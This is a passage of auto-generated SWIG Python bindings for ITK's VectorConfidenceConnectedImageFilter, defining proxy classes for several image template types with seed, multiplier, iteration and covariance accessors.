def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF22IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF22IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF22IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF22IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF22IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF22IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF22IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF22IUS2)
itkVectorConfidenceConnectedImageFilterICVF22IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_swigregister
itkVectorConfidenceConnectedImageFilterICVF22IUS2_swigregister(itkVectorConfidenceConnectedImageFilterICVF22IUS2)
def itkVectorConfidenceConnectedImageFilterICVF22IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF22IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF22IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF22IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF22IUS2 *":
"""itkVectorConfidenceConnectedImageFilterICVF22IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF22IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF22IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF23ISS3(itkImageToImageFilterBPython.itkImageToImageFilterICVF23ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF23ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterICVF23ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterICVF23ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterICVF23ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterICVF23ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterICVF23ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterICVF23ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterICVF23ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterICVF23ISS3)
itkVectorConfidenceConnectedImageFilterICVF23ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_swigregister
itkVectorConfidenceConnectedImageFilterICVF23ISS3_swigregister(itkVectorConfidenceConnectedImageFilterICVF23ISS3)
def itkVectorConfidenceConnectedImageFilterICVF23ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterICVF23ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterICVF23ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterICVF23ISS3 *":
"""itkVectorConfidenceConnectedImageFilterICVF23ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterICVF23ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterICVF23IUC3(itkImageToImageFilterBPython.itkImageToImageFilterICVF23IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterICVF23IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> itkVectorConfidenceConnectedImageFilterICVF23IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned char const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, unsigned char const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned char":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> unsigned char"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterICVF23IUC3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterICVF23IUC3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
